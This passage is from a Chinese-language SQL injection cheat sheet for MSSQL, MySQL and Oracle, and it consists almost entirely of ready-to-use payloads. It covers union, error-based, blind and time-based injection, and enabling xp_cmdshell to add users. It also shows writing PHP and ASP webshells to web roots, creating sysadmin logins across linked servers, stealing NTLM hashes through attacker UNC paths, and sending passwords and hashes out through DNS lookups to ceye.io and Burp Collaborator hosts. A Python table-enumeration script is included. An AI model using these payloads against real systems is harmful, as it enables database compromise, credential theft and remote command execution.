$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
[*] Profiles
[*] Roles
[*] Users

列出字段
$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
[*] UserId
[*] UserName

导出数据
$ SELECT  UserId, UserName from Users
```

**报错型注入**

```
整型 : convert(int,@@version)
整型 : cast((SELECT @@version) as int)

字符型   : ' + convert(int,@@version) + '
字符型   : ' + cast((SELECT @@version) as int) + '
```

**盲注**

```
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
```

**延时型**

```
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'     comment:   --
```

**堆查询**

```
ProductID=1; DROP members--
```

**读文件**

```
需要ADMINISTER BULK OPERATIONS 或 ADMINISTER DATABASE BULK OPERATIONS 权限
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
```

**命令执行**

```
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
激活xp_cmdshell(sql server 2015中默认禁用状态)
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
交互
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
执行python脚本
列出正在使用的用户
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
打开并读取文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
多行执行
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```

**OOB**

```
dnslog
需要VIEW SERVER STATE 权限
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

需要 CONTROL SERVER 权限
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))

UNC Path
MSSQL支持堆查询，创建一个指向我们的 IP 地址的变量，然后使用 xp_dirtree 函数列出我们 SMB 共享中的文件并获取 NTLMv2 哈希
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

添加DBA
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;

信任链接
数据库之间的链接甚至可以跨林信任工作
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] 如果要利用获取meterpreter会话的权限，将DEPLOY设置为true

查找链接
select * from master..sysservers

通过链接执行查询
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

多条查询
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

执行shell命令
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

创建用户给权限
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```

**拿shell**

```
判断数据库
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
查库
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0 --
?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 --
查表
```

```python
import requests
import re
table_list = ['']
	def get_sqlserver_table(table_list, table_num):
		for num in range(0,table_num):
			# print("','".join(table_list))
			sql_str = "and (select top 1 name from [xxxx].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('{}'))>0".format("','".join(table_list))
			url = "http://www.xxxxx.cn/x.aspx?cid=1' {} AND 'aNmV'='aNmV".format(sql_str)
			r = requests.get(url, headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36'})
			res = re.search(r'\'(.*)\'', r.content.decode('utf-8'),  re.M|re.I)
			table_name = str(res.group(1))
			table_list.append(table_name)
			print("[{}] - TableName: {}".format(str(r.status_code), table_name))
	if __name__ == "__main__":
		get_sqlserver_table(table_list, 16)
```

```
判断是否存在xp_cmdshell
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
执行命令
;exec master..xp_cmdshell "net user name password /add"—
查看权限
and (select IS_SRVROLEMEMBER('sysadmin'))=1--  //sa
and (select IS_MEMBER('db_owner'))=1--   //  dbo
and (select IS_MEMBER('public'))=1--  //public
站库分离获取服务器IP
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=xxx;Network=DBMSSOCN;Address=你的ip,80;', 'select * from dest_table') select * from src_table;--
LOG备份
;alter database testdb set RECOVERY FULL --
;create table cmd (a image) --
;backup log testdb to disk = 'c:\wwwroot\shell.asp' with init --
;insert into cmd (a) values ('<%%25Execute(request("chopper"))%%25>')-- 
;backup log testdb to disk = 'c:\wwwroot\shell.asp' –
2000差异备份
;backup database testdb to disk ='c:\wwwroot\bak.bak';--
;create table [dbo].[testtable] ([cmd] [image]);--
;insert into testtable (cmd) values(木马hex编码);--
;backup database testdb to disk='c:\wwwroot\upload\shell.asp' WITH DIFFERENTIAL,FORMAT;--
2005差异备份
;alter/**/database/**/[testdb]/**/set/**/recovery/**/full—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;create/**/table/**/[itpro]([a]/**/image)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;insert/**/into/**/[itpro]([a])/**/values(木马hex编码)—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=木马保存路径的SQL_EN编码/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
;drop/**/table/**/[itpro]—
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[testdb]/**/to/**/disk=@d/**/with/**/init--
```


# MYSQL

**注释符**

```
# 
-- 注意这里有个空格
/* hello */
/*! hello */
/*!32302 10*/ MYSQL version 3.23.02
```

**联合查询**

```
得到列数
order by或group by
不断增加数字，直到得到报错响应
1' ORDER BY 1--+	#True
1' ORDER BY 2--+	#True
1' ORDER BY 3--+	#True
1' ORDER BY 4--+	#False - 只有三个列数
或
1' GROUP BY 1--+	#True
1' GROUP BY 2--+	#True
1' GROUP BY 3--+	#True
1' GROUP BY 4--+	#False - 只有三个列数
报错类型的union select
1' UNION SELECT @--+     
1' UNION SELECT @,@--+   
1' UNION SELECT @,@,@--+ 
报错类型的LIMIT INTO
注入点位于LIMIT后，查找列数
1' LIMIT 1,1 INTO @--+    
1' LIMIT 1,1 INTO @,@--+  
1' LIMIT 1,1 INTO @,@,@--+    #没报错 只有三个列数
information_schema 提取数据库
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
Mysql >=4.1没有information_schema
获取列数
?id=(1)and(SELECT * from db.users)=(1)
获取列名
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
MySQL 5的方法
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
不知道列名提取数据
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
http://url/index.php?id=1 order by 6
http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
http://url/index.php?id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
```

**基于报错注入**

```
MySQL >= 4.1
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
UpdateXML 函数
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
Extractvalue函数
MySQL >= 5.1
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
NAME_CONST函数
MySQL >= 5.0
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--
```

**盲注**

**substring**

```
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
```

**ORDER BY**

```
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
```

**REGEXP**

```
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
工作流程
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';

条件语句
返回正常
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
返回错误
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
```

**MAKE\_SET**

```
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
```

**LIKE**

```
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
```

**基于时间注入**

```
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))

SLEEP
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')# 
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#

条件语句
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
```

**一次性转储数据**

```
MYSQL DIOS
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#

(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+

+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+

+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+

(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
```

**当前查询**

```
该表可以列出 DB 目前正在执行的所有操作
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

一条语句导出此表内容
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
```

**读取文件内容**

```
filepriv
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
```

**写shell**

```
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
```

**截断**

```
在 MYSQL 中“ admin ”和“ admin”是一样的。如果数据库中的用户名列有字符限制，则其余字符将被截断。因此，如果数据库的列限制为 20 个字符，并且我们输入一个包含 21 个字符的字符串，那么最后 1 个字符将被删除。
`username` varchar(20) not null
payload：username = "admin a"
```

**快速查询**

```
MySQL >= 5.7.22
group_concat() = 1024 个符号
json_arrayagg() > 16,000,000 个符号
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
```

**MYSQL UDF 命令执行**

```
见windows提权MYSQL udf
```

**OOB**

```
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
```

**DNSLOG**

```
MYSQL结合dnslog
?id=1' and if((select load_file(concat('\\\\',(select database()),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示数据库
?id=1' and if((select load_file(concat('\\\\',(select schema_name from information_schema.schemata limit {0},1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示表
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='dbname' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x1x1x2x limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示字段
?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
显示数据
?id=1' and if((select load_file(concat('\\\\',(select hex(user) from users limit 0,1),'.jhsefs.ceye.io\\sql_test'))),1,0)--+
MSSQL结合dnslog
查数据
?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
Sa密码
?id=1DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_loginsWHERE name='sa')+'.ip.port.b182oj.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
执行命令
exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
postgreSQL结合dnslog
?id=1;DROP TABLE IF EXISTS table_output;CREATE TABLE table_output(content text);CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;DECLARE query_result TEXT;BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;END;$$ LANGUAGE plpgSQL SECURITY DEFINER;SELECT temp_function();
Oracle结合dnslog
?id=1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
?id=1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
?id=1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.nk40ci.ceye.io').GETCLOB() FROM sys.DUAL;
?id=1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
```

**NTLM 哈希窃取**

```
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
```


# Oracle

**版本**

```
SELECT user FROM dual UNION SELECT * FROM v$version
```

**数据库名**

```
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
```

**列库**

```
SELECT DISTINCT owner FROM all_tables;
